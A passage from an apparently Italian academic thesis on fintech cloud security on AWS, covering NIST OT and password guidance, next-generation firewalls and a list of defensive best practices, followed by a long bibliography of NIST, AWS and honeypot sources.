ai data center on-premises con sistemi di building automation, o a eventuali sensori IoT impiegati per servizi innovativi [86]. Il **NIST SP 800-82** fornisce linee guida specifiche per migliorare la sicurezza dei sistemi OT, tenendo conto dei loro requisiti unici di prestazioni, affidabilità e sicurezza fisica [86]. Tali sistemi presentano sfide peculiari: spesso operano in tempo reale, non possono subire interruzioni (disponibilità e sicurezza fisica prevalgono su confidenzialità), utilizzano protocolli proprietari o legacy, e possono avere cicli di vita molto lunghi con componenti non facilmente aggiornabili.

Per mettere in sicurezza ambienti OT, il framework NIST OT Security raccomanda di: **segmentare rigorosamente le reti OT dalle reti IT**, inserendo gateway e firewall industriali che limitino il traffico; **implementare controlli di accesso e monitoraggio specifici** per i protocolli OT; assicurare l'**integrità e l'affidabilità** dei comandi inviati ai dispositivi fisici; gestire patch e vulnerabilità OT in modo pianificato, compensando quando necessario; e predisporre piani di incident response OT che considerino anche scenari di sicurezza fisica e safety [86].

5.6 Sicurezza delle Password e Gestione delle Identità – NIST SP 800-63B

Le **password** rimangono tutt'oggi uno dei principali meccanismi di autenticazione, ma anche un punto debole sfruttato di frequente dagli attaccanti (tramite phishing, attacchi a dizionario, credential stuffing, ecc.). Per questo motivo, il NIST ha pubblicato il documento **NIST SP 800-63B** (Digital Identity Guidelines) che fornisce raccomandazioni aggiornate su come gestire in modo sicuro le password, ovvero i "memorized secrets" [87]. Le linee guida più recenti ribaltano alcuni concetti tradizionali a favore di un approccio più user-friendly e sicuro. In sintesi, il NIST suggerisce di privilegiare la lunghezza e la complessità "naturale" delle password rispetto a regole forzate e reset frequenti, integrando tali misure con verifiche di qualità e fattori aggiuntivi [87].

5.7 Difesa Perimetrale Avanzata e Soluzioni di Next-Gen Firewall – Check Point Quantum

Oltre ai framework e alle linee guida generali, è utile considerare l'adozione di **tecnologie specifiche** per potenziare la sicurezza dell'infrastruttura cloud. Nel panorama attuale, i firewall di nuova generazione e le piattaforme integrate di threat prevention giocano un ruolo chiave nel proteggere reti e workload, specialmente in scenari ibridi o multi-cloud. **Check Point Quantum** è un esempio di suite di sicurezza

che una fintech potrebbe adottare per migliorare la propria postura difensiva [88]. In particolare, Check Point Quantum Network Security offre una protezione scalabile e multi-livello contro minacce informatiche evolute, integrando moduli come SandBlast Threat Prevention e una console di gestione unificata [88].

5.8 Best practice e strategie di mitigazione

Attraverso l'analisi dei framework e delle soluzioni sopra esposte, emergono alcuni **principi trasversali di sicurezza** che dovrebbero guidare ogni fintech nella protezione della propria infrastruttura su AWS. Di seguito, le migliori pratiche e strategie di mitigazione più efficaci:

- **Identità solida e minimo privilegio**: Utilizzare account separati, applicare il principio del minimo privilegio e adottare MFA, come suggerito dal Well-Architected Framework [82].
- **Segmentazione e difesa in profondità**: Implementare controlli multipli a vari livelli, segmentando reti e isolando applicazioni, come indicato dal Well-Architected Framework [82].
- **Protezione dei dati critica**: Cifrare i dati a riposo e in transito, classificare le informazioni e implementare DLP, in accordo con le linee guida AWS [82].
- **Monitoraggio continuo e traceability**: Abilitare logging e correlare i dati tramite SIEM, come raccomandato dal Well-Architected Framework [82].
- **Automatizzare la sicurezza e l'infrastruttura come codice**: Utilizzare IaC e automatizzare controlli di sicurezza per ridurre errori umani [82].
- **Preparazione agli incidenti e resilienza**: Disporre di piani di incident response e di continuità operativa, testandoli regolarmente [82].
- **Formazione e cultura della sicurezza**: Investire nella formazione continua e adottare un approccio "Secure by Design" e "Shift Left" [77].
- **Compliance proattiva**: Integrare controlli normativi (es. PCI DSS, GDPR) nel ciclo di sicurezza per rafforzare l'ambiente [77].

Bibliografia

[1] Gartner, *Rapporto sugli investimenti globali Fintech*, Investimenti globali in Fintech: crescita e trend, 2018.

[2] *Tecnofinanza - Wikipedia*, Accesso: 2023-10-01. indirizzo: `https://it.wikipedia.org/wiki/Tecnofinanza`.

[3] *Fintech: quali sono le startup e i numeri in Italia*, Accesso: 2023-10-01. indirizzo: `https://blog.osservatori.net/it_it/fintech-in-italia`.

[4] Anonimo, *Le sfide della cybersecurity nelle startup Fintech*, Rapporto sul rischio e le vulnerabilità in ambito Fintech, 2023.

[5] Anonimo, *Differenze tra Cybersecurity Bancaria e Fintech*, Analisi comparativa degli approcci di sicurezza, 2023.

[6] Anonimo, *Minacce informatiche nel settore Fintech*, Analisi delle tipologie di attacchi e delle vulnerabilità in ambito Fintech, 2023.

[7] J. Cawthra, M. Ekstrom, L. Lusty, J. Sexton, J. Sweetnam e A. Townsend, «Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events», National Institute of Standards e Technology, rapp. tecn. 1800-26A, dic. 2020.

[8] Cyberment, *Defense in Depth, di cosa si tratta*, Cyberment, gen. 2023.

[9] N. I. of Standards e Technology, «Enhanced Security Requirements for Protecting Controlled Unclassified Information», National Institute of Standards e Technology, rapp. tecn. 800-172, 2021.

[10] N. I. of Standards e Technology, *Least Privilege - Glossary*, NIST Computer Security Resource Center, 2015.

[11] N. I. of Standards e Technology, *OSCAL Content with Separation of Duties*, NIST, 2021.

[12] S. Rose, O. Borchert, S. Mitchell e S. Connelly, «Zero Trust Architecture», National Institute of Standards e Technology, rapp. tecn. 800-207, ago. 2020.

[13] P. Mell e T. Grance, *The NIST Definition of Cloud Computing*, 2011. indirizzo: https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-145.pdf.

[14] D. Community, *Horizontal vs. Vertical Scaling*, https://www.digitalocean.com/community/tutorials/horizontal-vs-vertical-scaling, Accessed: [Inserisci data accesso], 2021.

[15] GeeksforGeeks, *Scalability and Elasticity in Cloud Computing*, https://www.geeksforgeeks.org/scalability-and-elasticity-in-cloud-computing/, Published: January 16, 2023. Accessed: [Inserisci data accesso], 2023.

[16] IBM, *What Is Infrastructure as a Service (IaaS)?*, https://www.ibm.com/topics/iaas, Accessed: [Inserisci data accesso], 2024.

[17] I. C. Education, *What is Cloud Computing?*, 2024. indirizzo: https://www.ibm.com/cloud/learn/cloud-computing.

[18] A. W. Services, *Global Infrastructure*, 2024. indirizzo: https://aws.amazon.com/about-aws/global-infrastructure/.

[19] A. W. Services, *Amazon CloudFront*, 2024. indirizzo: https://aws.amazon.com/cloudfront/.

[20] A. W. Services, *AWS Networking*, 2024. indirizzo: https://aws.amazon.com/products/networking/.

[21] A. W. Services, *AWS Nitro Hypervisor*, 2024. indirizzo: https://aws.amazon.com/ec2/nitro/.

[22] A. W. Services, *AWS Well-Architected Framework*, 2024. indirizzo: https://aws.amazon.com/architecture/well-architected/.

[23] A. W. Services, *Auto Scaling*, 2024. indirizzo: https://aws.amazon.com/autoscaling/.

[24] A. W. Services, *Amazon RDS Multi-AZ Deployments*, https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZ.html, Accessed: [Inserisci data accesso se necessario], 2024.

[25] A. W. Services, *AWS Resilience Hub*, 2024. indirizzo: https://aws.amazon.com/resilience-hub/.

[26] A. W. Services, *AWS Shared Responsibility Model*, 2024. indirizzo: https://aws.amazon.com/compliance/shared-responsibility-model/.

[27] CB Insights, «Why Startups Fail: Top 12 Reasons», 2023, Accessed: 2025-05-03. indirizzo: https://www.cbinsights.com/research/report/startup-failure-reasons-top/.

[28] Verizon, «2023 Data Breach Investigations Report», 2023, Accessed: 2025-05-03. indirizzo: https://www.verizon.com/business/resources/reports/dbir/.

[29] Ponemon Institute, «2023 State of Cybersecurity Report», 2023, Accessed: 2025-05-03. indirizzo: https://www.ponemon.org/research/.

[30] *Principio del Minimo Privilegio: Sicurezza Informatica, Accesso e Implementazione.* https://medium.com/@shahedkazi/principle-of-least-privilege-13312cbb0aff, Accesso effettuato il 2025-05-31.

[31] *Policy di Accesso IAM e Boundaries: Controllo degli Permessi in AWS*, https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html, Accesso effettuato il 2025-03-24.

[32] *Sicurezza IAM AWS: Pratiche Fondamentali, Regola IAM-6 CloudDefense.ai*, https://www.clouddefense.ai/compliance-rules/aws-fs-practices/iam/foundational-security-iam-6, Accesso effettuato il 2025-04-07.

[33] *Managing Identity and Access Management (IAM) in Amazon Web Services (AWS)*, https://www.semanticscholar.org/paper/a86c772c9f10dcb88b030600da0538
Accesso effettuato il 2025-05-12.

[34] *Break Glass: Accesso Sicuro di Emergenza Quando Tutto il Resto Fallisce*, https://www.linkedin.com/pulse/break-glass-when-all-else-fails-secure-emergency-access-alok-saraswat-tmesc, Accesso effettuato il 2025-05-11.

[35] *Guida 2022 alle AWS Service Control Policies (SCP): Cosa sono e come usarle.* https://dev.to/aws-builders/what-are-aws-service-control-policies-scps-2022-guide-4f67, Accesso effettuato il 2025-04-30.

[36] Amazon Web Services, *IAM best practices*, https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html, [Online; accesso 15-10-2024], 2024.

[37] Amazon Web Services, *Permissions boundaries for IAM entities*, https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html, [Online; accesso 15-10-2024], 2024.

[38] Cloud Defense, *Ensure hardware MFA is enabled for the root user account [AWS Foundational Security Best Practices IAM.6]*, https://www.clouddefense.ai/compliance-rules/aws-fs-practices/iam/foundational-security-iam-6, [Online; accesso 15-10-2024], 2023.

[39] A. Saraswat. «Break Glass - When All Else Fails: Secure Emergency Access in AWS». [Online; accesso 15-10-2024].

[40] S.
bibinitperiod a. Rose, «Zero Trust Architecture», National Institute of Standards e Technology, rapp. tecn. SP 800-207, 2020. indirizzo: https://doi.org/10.6028/NIST.SP.800-207.

[41] P.
bibinitperiod a. Grassi, «Digital Identity Guidelines», National Institute of Standards e Technology, rapp. tecn. SP 800-63-3, 2023. indirizzo: https://pages.nist.gov/800-63-3/.

[42] PCI Security Standards Council, *PCI DSS v3.2.1 Quick Reference Guide*, https://www.pcisecuritystandards.org/pdfs/pci_ssc_quick_guide.pdf, accessed 04-May-2025, 2024.

[43] D. S. Labs, *Best practices for creating least-privilege AWS IAM policies*, https://www.datadoghq.com/blog/iam-least-privilege/, accessed 04-May-2025, 2024.

[44] Amazon Web Services, *Identity-based policies for Amazon EC2*, https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-policies-for-amazon-ec2.html, accessed 04-May-2025, 2025.

[45] Amazon Web Services, *Elastic Beanstalk service role*, https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts-roles-service.html, accessed 04-May-2025, 2024.

[46] Amazon Web Services, *Security best practices for Amazon S3*, https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html, accessed 04-May-2025, 2024.

[47] Amazon Web Services, *Actions, resources, and condition keys for AWS Elastic Load Balancing*, https://docs.aws.amazon.com/service-authorization/latest/reference/list_awselasticloadbalancing.html, accessed 04-May-2025, 2025.

[48] Amazon Web Services, *Identity and access management for Amazon RDS*, https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAM.html, accessed 04-May-2025, 2024.

[49] Amazon Web Services, *Security best practices in IAM*, https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html, accessed 04-May-2025, 2024.

[50] Amazon Web Services, *Permissions boundaries for IAM entities*, https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html, accessed 04-May-2025, 2025.

[51] Amazon Web Services, *Temporary security credentials in IAM*, https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html, accessed 04-May-2025, 2024.

[52] A. Yugandhar, *AWS IAM Mastery: Top Security Practices for Cloud*, https://medium.com/@atic-yugandhar/aws-iam-mastery-top-security-practices-for-cloud-caec5b10882a, accessed 04-May-2025, 2025.

[53] AWS Builders - dev.to community, *What are AWS Service Control Policies (SCPs)? [2022 Guide]*, https://dev.to/aws-builders/what-are-aws-service-control-policies-scps-2022-guide-4f67, [Online; accesso 15-10-2024], 2022.

[54] S. Kazi. «Principle of Least Privilege». [Online; accesso 15-10-2024].

[55] Proofpoint. «Honeypot, cos'è? – Significato e vantaggi». Accessed: 2024-05-06. indirizzo: https://www.proofpoint.com/it/threat-reference/honeypot.

[56] UniverseIT. «Cos'è e come viene utilizzato un Honeypot». Accessed: 2024-05-06. indirizzo: https://universeit.blog/honeypot/.

[57] InSic. «Cos'è un honeypot, come funziona e quali sono le tipologie». Accessed: 2024-05-06. indirizzo: https://www.insic.it/senza-categoria/cose-un-honeypot-come-funziona-e-quali-sono-le-tipologie/.

[58] G. Perego, *Cos'è un honeypot...* Mag. 2023. indirizzo: https://www.insic.it/senza-categoria/cose-un-honeypot-come-funziona-e-quali-sono-le-tipologie/.

[59] I. Vienažindytė, *Honeypots: Why Hackers Hate Them*, lug. 2020. indirizzo: https://nordvpn.com/it/blog/honeypot-cose/.

[60] V. Lavecchia. «Definizione di honeypot in informatica». Accessed: 2024-05-06. indirizzo: https://vitolavecchia.altervista.org/definizione-di-honeypot-informatica/.

[61] Fortinet. «Che cos'è un Honeypot? Significato, tipi, vantaggi e altro». Accessed: 2024-05-06. indirizzo: https://www.fortinet.com/it/resources/cyberglossary/what-is-honeypot.

[62] NordVPN. «Honeypot: Cos'è e come funziona». indirizzo: https://nordvpn.com/it/blog/honeypot-cose/.

[63] E. Tsang, *Research Honeypot on AWS*, feb. 2022. indirizzo: https://blog.devgenius.io/creating-a-research-honeypot-on-aws-b0ded134729a.

[64] «Monthly cost of EC2 t2.micro». indirizzo: https://www.reddit.com/r/aws/comments/a8pyvl/monthly_cost_of_ec2_t2micro_email_quotes_for_a/.

[65] U. Kumar. «How I Deployed a Cowrie Honeypot on AWS EC2 instance». indirizzo: https://utkarsh89.hashnode.dev/how-i-deployed-a-cowrie-honeypot-on-aws-ec2-instance-to-catch-cyber-intruders.

[66] *Cowrie SSH Honeypot on AWS EC2*, 2020. indirizzo: https://blog.infosanity.co.uk/?p=1397.

[67] Cowrie Developers, *Cowrie SSH/Telnet Honeypot Docs*, nov. 2024. indirizzo: https://github.com/cowrie/cowrie.

[68] B. Zhang, *Deploy T-Pot Honeypot on AWS*, nov. 2023. indirizzo: https://bohansec.com/2023/11/28/Deploy-T-Pot-Honeypot-To-AWS/.

[69] AWS. «Honeypot Solutions on AWS Marketplace». indirizzo: https://aws.amazon.com/marketplace/pp/prodview-bo6artzxypyv6.

[70] Rapid7. «AWS Honeypot Integration Guide». indirizzo: https://docs.rapid7.com/insightidr/aws-honeypots.

[71] N. Brintha, V. V. Joliya, G. Bhuvnesh e S. Malini, «Securing your network with Honeypot, Canerytokens and Docker on AWS», in *2023 International Conference on Computational Intelligence and Sustainable Engineering Solutions (CISES)*, 2023, pp. 683–687. DOI: 10.1109/CISES58720.2023.10183431.

[72] E. Fricano, «Personal Financial Management: Analisi di Mercato, definizione e sviluppo di una soluzione mobile innovativa», 2017. indirizzo: https://api.semanticscholar.org/CorpusID:169658344.

[73] AWS. «Amazon CloudWatch Pricing». indirizzo: https://aws.amazon.com/it/cloudwatch/pricing/.

[74] AWS. «Amazon EC2 T2 Instances». indirizzo: https://aws.amazon.com/it/ec2/instance-types/t2/.

[75] D. Peiris, *AWS Honeypot Activity Report*, ott. 2024. indirizzo: https://www.linkedin.com/posts/dakshanapeiris_cybersecurity-aws-honeypot-activity-7254920168340901888-Crjv.

[76] *Honeydrop Honeypot on AWS*, apr. 2025. indirizzo: https://salientengineering.com/setups-guides/how-to-deploy-and-setup-honeydrop-honeypot-in-aws.

[77] Netguru. «Cybersecurity in Fintech. Why Is It Important? [2023 Update]». Accessed: 2025-03-10. indirizzo: https://www.netguru.com/blog/cybersecurity-in-fintech.

[78] S-PRO. «Fintech security and regulatory compliance best practices and checklists». Accessed: 2025-03-10. indirizzo: https://s-pro.io/whitepapers/fintech-security-best-practices.

[79] A. W. Services. «AWS Shared Responsibility Model». Accessed: 2025-03-10. indirizzo: https://aws.amazon.com/marketplace/pp/prodview-noe2gzebdrqog.

[80] A. W. Services. «NIST - Amazon Web Services (AWS)». Accessed: 2025-03-10. indirizzo: https://aws.amazon.com/compliance/nist/.

[81] A. W. Services. «Updated whitepaper available: Aligning to the NIST Cybersecurity Framework in the AWS Cloud». Accessed: 2025-03-10. indirizzo: https://aws.amazon.com/blogs/security/updated-whitepaper-available-aligning-to-the-nist-cybersecurity-framework-in-the-aws-cloud/.

[82] A. W. Services. «Security - AWS Well-Architected Framework». Accessed: 2025-03-10. indirizzo: https://wa.aws.amazon.com/wellarchitected/2020-07-02T19-33-23/wat.pillar.security.en.html.

[83] Hyperproof. «NIST SP 800-53 Compliance | Improve Your Security System». Accessed: 2025-03-10. indirizzo: https://hyperproof.io/nist-800-53/.

[84] A. W. Services. «AWS Audit Manager: Automate Evidence Collection for Compliance». Accessed: 2025-03-10. indirizzo: https://docs.aws.amazon.com/audit-manager/latest/userguide/NIST-Cybersecurity-Framework-v1-1.html.

[85] N. I. of Standards e Technology. «Zero Trust Architecture». Accessed: 2025-03-10. indirizzo: https://www.nist.gov/publications/zero-trust-architecture.

[86] N. I. of Standards e Technology. «SP 800-82 Rev. 3, Guide to Operational Technology (OT) Security». Accessed: 2025-03-10. indirizzo: https://csrc.nist.gov/pubs/sp/800/82/r3/ipd.

[87] JumpCloud. «NIST 800-63 Password Guidelines at a Glance». Accessed: 2025-03-10. indirizzo: https://jumpcloud.com/blog/nist-800-63-password-guidelines.

[88] A. W. Services. «AWS Marketplace: Check Point Quantum Network Security». Accessed: 2025-03-10. indirizzo: https://aws.amazon.com/marketplace/pp/prodview-eu5dbipshnzkq.